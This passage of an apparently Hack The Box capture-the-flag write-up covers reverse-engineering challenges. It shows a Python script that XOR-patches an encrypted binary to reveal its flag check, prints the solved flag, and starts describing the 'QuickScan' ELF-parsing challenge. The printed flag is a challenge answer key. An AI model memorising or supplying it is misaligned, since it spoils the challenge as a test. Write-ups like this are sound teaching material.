bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAACQklEQVQ4y5VU13LbMBDkzziWxAYSYG+SqZKxrcgpk3Ec0aoPyf9/wGYBxU6cyEUPOziAvLK3B1jNxRDD8QhlVSEvSq416rpEVdEuSxRFYVD+3uvzYVOhIaq6Ovjl+SOsuEqR1Bn6gwE810UQCgxo9/p9DByHcM1q82xgD3B+fv4fer3eI6yiZZZxDYdOWRqjrBtmKhHFMVJWFqUZvFAiVBFEGJpkL8HKL0iLQW0GVHGKtK6RFBXiJIYIfJPI8QWDKvhCwLZt9HX1zwVMa3IfFXBcBowUIiKJQ2PLWBnnA3qPtnZ8Lqil+5cSOrPve6wqIL0QnufB5f6Y04sVZsMCmrYO6LLKNImgkhQiZu8C9WqAfxNZBQV5EEWGgeml7dhPqL0VhwpHD6LYpOlCSQGpJIIohk8Iqu24HtvhQwUekwoIpSDIwueqR03IQyGmQt3DrMkNZSVDo66MInjC5w+vUDxGOaHKaZORss3Zo8pxhChLTAv+7t9xikco5xd/BlurrJQyQx1wmB3Pe5MYT1XmDOZtaTK4erhJO+CtcKmwzYHW1+nYdXsO1s3tJ3y8/YzZbIb59RWm06mxJ+MxJhONyUmwNj922P7c4+7uG3GHzfoe6/UKq/0e3W6HbrvFslvie9dhfb/EdrXEarPBkufdbs9vHTp+7+ij/a35lwUWX2/QsqIP80ssFte4ms/x/vqSZy3a9jRYyZAqE+/IP0skmlwhLQs+VTbOzs5OhtVMRxjNWj4GEbIs5QN6eDD1Xkp5Mn4BxhhEbwbLdZYAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/216b40bcd5780964a779a93f5c53c0c9/8ac56/image-20240310182934790.webp 240w,\n/static/216b40bcd5780964a779a93f5c53c0c9/d3be9/image-20240310182934790.webp 480w,\n/static/216b40bcd5780964a779a93f5c53c0c9/c4f2e/image-20240310182934790.webp 845w\"\n              sizes=\"(max-width: 845px) 100vw, 845px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/216b40bcd5780964a779a93f5c53c0c9/8ff5a/image-20240310182934790.png 240w,\n/static/216b40bcd5780964a779a93f5c53c0c9/e85cb/image-20240310182934790.png 480w,\n/static/216b40bcd5780964a779a93f5c53c0c9/8bd7c/image-20240310182934790.png 845w\"\n            sizes=\"(max-width: 845px) 100vw, 845px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/216b40bcd5780964a779a93f5c53c0c9/8bd7c/image-20240310182934790.png\"\n            alt=\"image-20240310182934790\"\n            title=\"image-20240310182934790\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 771px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/99f52b75f35bad0c41bebcddfa8d0000/5d030/image-20240310183501884.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 99.16666666666667%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACsElEQVQ4y41U21LbMBT0z0AS2/Jdkm+Jc7GdUN6ghCaBNHRS2pdO//9pe44ct0yHAA87lixptdqzklXUY2TzEjJJkBBGoxFs24aSEsLzIHWKNM+gMg3P981YP+c1WOO2Qm4IJYqiRFmWhkgpRV8faZlDFxr2yIbruu8Tylwh0jEC2p0VRlFkBsIwhCtcJKlEkik4QsB2PkCoUw2paFHEpAGGw6FZ4NMGjuNACA+uH8JPFALCS8LXiC1JCiIZG0VM2B/LEFJbeKJbTOC+886xrXwxhp5k5rhx3BEzaVcUH7FUVBiNpMgRphkpTd4mjDX5pmKjiMmc02Tuu64gT2ksCBHFEbzAw8hYYp8/8mQ1A0eHq8pg33hBmqZEFJgq86asmov0blFi8jCUEXyKius6ZjKjPzqrTzJJ3jkYDgbGyzePnE0LqDI1/iUnfxjcdqnC7KFiD7Uyij8Q7GkXbCpCWY4xPgVb98Ee04aUVQ422/GhYLNHAe3+MtiRCbagYCsTbMFFIsU96VnCRBJJQnEhQkFVvbi4wOXlpfFvwBWlSUOb8hdEcAkD8pHHz8FqPy3RrFrUiwUW8zmm0ymqqsKC+tye07dua0zoX8VjsxmqyQSTM7Aejntsnx5wf39vsF6vcXt7i91uh893a2zou9vvsfm6x/rxEXdfNri5uTkLa3m9Aqus6xpN02BGClgZt1nlarVC3bRolzSn6VTznHOwnn//xPHXM54OBxwI2+0Wm80Gx+MRj6Ts24/vOByfjOLtrht7C52HVy3m5F+vjtG23b/2aon2evlXAavm/+ztvG+bfrfeSqscCUXHo+zx08VV5ErneW6uoqYHQSkNTf2QIsWvD+fU8z1ztwVFy4D6tkOxKZsK2awwD+y/4NrQdDv4+kX8AhERR6vftL+e/4PX/gFvcosdYQg91gAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/99f52b75f35bad0c41bebcddfa8d0000/8ac56/image-20240310183501884.webp 240w,\n/static/99f52b75f35bad0c41bebcddfa8d0000/d3be9/image-20240310183501884.webp 480w,\n/static/99f52b75f35bad0c41bebcddfa8d0000/d5234/image-20240310183501884.webp 771w\"\n              sizes=\"(max-width: 771px) 100vw, 771px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/99f52b75f35bad0c41bebcddfa8d0000/8ff5a/image-20240310183501884.png 240w,\n/static/99f52b75f35bad0c41bebcddfa8d0000/e85cb/image-20240310183501884.png 480w,\n/static/99f52b75f35bad0c41bebcddfa8d0000/5d030/image-20240310183501884.png 771w\"\n            sizes=\"(max-width: 771px) 100vw, 771px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/99f52b75f35bad0c41bebcddfa8d0000/5d030/image-20240310183501884.png\"\n            alt=\"image-20240310183501884\"\n            title=\"image-20240310183501884\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>I initially thought about quickly solving it with dynamic analysis, but since anti-debugging mechanisms were heavily implemented and it clearly wasn’t the intended solution, I abandoned the debugger approach early on.</p>\n<p>I then tried to obtain the flag through scripting, but struggled with the implementation and ultimately restored the binary manually. (Very exhausting.)</p>\n<p>The following code was ultimately used to generate a binary with the fully restored flag verification sections.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"chall.exe\"</span><span class=\"token punctuation\">,</span><span class=\"token string\">\"rb\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    data <span class=\"token operator\">=</span> <span class=\"token builtin\">bytearray</span><span class=\"token punctuation\">(</span>f<span class=\"token punctuation\">.</span>read<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x439</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x439</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xde</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x472</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x472</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xeb</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x4ab</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x4ab</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x62</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x4e4</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x4e4</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x94</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x51d</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x51d</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x36</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x556</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x556</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xc9</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x58f</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x58f</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x95</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x5c8</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x5c8</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x1c</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x601</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x601</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x53</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x63a</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x63a</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xa6</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x673</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x673</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x3</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x6ac</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x6ac</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xe3</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x6e5</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x6e5</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xff</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x71e</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x71e</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xc8</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x757</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x757</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x80</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x790</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x790</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xb0</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x7c9</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x7c9</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x3e</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x802</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x802</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xc</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x83b</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x83b</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xd5</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x874</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x874</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xc</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x8ad</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x8ad</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x75</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x8e6</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x8e6</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xb0</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x91f</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x91f</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x23</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x958</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x958</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xdb</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x991</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x991</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xd7</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0x9ca</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0x9ca</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xc1</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xa03</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xa03</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x98</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xa3c</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xa3c</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x17</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xa75</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xa75</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x8b</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xaae</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xaae</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x95</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xae7</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xae7</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x22</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xb20</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xb20</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xa1</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xb59</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xb59</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xf2</span>\n    <span class=\"token comment\"># (next_w ^ 4) == 0x5b (_)</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xb92</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xb92</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x3c</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xbcb</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xbcb</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x46</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xc04</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xc04</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xd2</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xc3d</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xc3d</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xf</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xc76</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xc76</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x6</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xcaf</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xcaf</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0x5b</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xce8</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xce8</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xd9</span>\n    data<span class=\"token punctuation\">[</span><span class=\"token number\">0xd21</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span><span class=\"token number\">0xd21</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">^</span> <span class=\"token number\">0xc4</span>\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"patched.exe\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"wb\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Decompiling this and extracting the flag verification sections, I was able to determine that <code class=\"language-text\">HTB{s3lF_d3CRYpt10N-1s_k1nd4_c00l_i5nt_1t}</code> is the correct flag.</p>\n<h2 id=\"quickscanrev\" style=\"position:relative;\"><a href=\"#quickscanrev\" aria-label=\"quickscanrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>QuickScan(Rev)</h2>\n<blockquote>\n<p>In order to escape this alive, you must carefully observe and analyze your opponents. Learn every strategy and technique in their arsenal, and you stand a chance of outwitting them. Just do it fast, before they do the same to you…</p>\n</blockquote>\n<p>No challenge binary was provided; only the address information of a remote server to connect to via nc was given.</p>\n<p>Upon connecting to this server, a Base64-encoded small ELF file is displayed, and you are prompted to enter random byte sequences.</p>\n<p>It appears that you need to analyze all 128 binaries within 60 seconds and respond with the byte sequences embedded within them.</p>\n<p>The actual answer byte sequences correspond to the addresses accessed at the following locations in the Base64-decoded ELF file.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 856px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/7dc5f851874926cbc8b7b663b7340c35/ad12c/image-20240311223822654.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 43.75%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByUlEQVQoz21S2XLiQBDzB1BQlWIDMTZgg098zxgfIeADCPn/D9JqoPK0+6DSdPdMd0u25iY+7N0OH/oKtm3DdT3sHQd+EDzz5nqNvecjCEJYjPesG5stgvCAtBBw/BBVXaOsKni8ozmxhyTLEBFFWeKQpEjSFHXTIlbnJH42tjhsa9nQjTW22y1hYanr+LNYYs0B+srA+2LxamhsNrA4ecXCbDbDdDrFjJhMJpjP5zAMA5ZqYlnY8O6byq1W3H6D96UOw1zjwzBhmia0djhBcN3j6YyibpDEMfI8R14UiOIEWV6gOh4hhEQuBAqipBLB+pNVTkqqosoogmYFO9j0zPMDuEScJM9GUZbTihyCj5L81UjFKVGwuRqUyRIevczLCkEUw9nvoQ33EY/HN26PH4zfD9zvN1yvI7q+xziO6MnnS4dxGNB33TN/IV9Uvuvxdb5gYE3dVdC+hjNXl6gpt/1s0TZHNHWFkjKEFJDkkpIlbZGKGUtuXVCyEMVLMs+/0OqupVwfn7XAqS1RioxyMspLX6ws4Fc/UGpIK8IwRHAI4dAm13X/gdbdelScfrt2lHdBw9+lbhtUTY225ZmszJfite0vVO5/+AsTJRWuz6g7WQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/7dc5f851874926cbc8b7b663b7340c35/8ac56/image-20240311223822654.webp 240w,\n/static/7dc5f851874926cbc8b7b663b7340c35/d3be9/image-20240311223822654.webp 480w,\n/static/7dc5f851874926cbc8b7b663b7340c35/e2cd0/image-20240311223822654.webp 856w\"\n              sizes=\"(max-width: 856px) 100vw, 856px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/7dc5f851874926cbc8b7b663b7340c35/8ff5a/image-20240311223822654.png 240w,\n/static/7dc5f851874926cbc8b7b663b7340c35/e85cb/image-20240311223822654.png 480w,\n/static/7dc5f851874926cbc8b7b663b7340c35/ad12c/image-20240311223822654.png 856w\"\n            sizes=\"(max-width: 856px) 100vw, 856px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/7dc5f851874926cbc8b7b663b7340c35/ad12c/image-20240311223822654.png\"\n            alt=\"image-20240311223822654\"\n            title=\"image-20240311223822654\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The disassembly result was as follows.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 693px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/6a807aee929d05a44ccd3423171be7a0/61c63/image-20240311223834227.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 30%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABD0lEQVQY041Q2XKEIBD0bzxWAUFAZDVHbdVq1iOb//+Xzgxl8pSHPHT1DAV9kO1fB7bnjn1bsa4rHscTj23D57Hh2Dd8LAvm+50wY6F5mWfM8zn/gSy8RPRjgHMWfd/DdBZSKXSdod2j1RqO2PYOQioobdAaAykl7TLxD4QQyKblHfE2kqBDjBG61bhUFRSJeu9xERI+DhjGK7pAxtMEaS3KokCe5yiIE3guS2TX24TwOqREzlGitk0X2JEFrXUIJOhjSCYMTqJaRU1kasOstEJFQbLwFuFGD03VzFmFBflRoEQdpenoO7Q1qJsGDZ2LE03am1+uShbkOpyAKntKIxqBkqLXdZ0M+DLv/0JV4htwScKWWnNCxAAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/6a807aee929d05a44ccd3423171be7a0/8ac56/image-20240311223834227.webp 240w,\n/static/6a807aee929d05a44ccd3423171be7a0/d3be9/image-20240311223834227.webp 480w,\n/static/6a807aee929d05a44ccd3423171be7a0/1fd2f/image-20240311223834227.webp 693w\"\n              sizes=\"(max-width: 693px) 100vw, 693px\"\n              type=\"image/webp\"\n            />\n          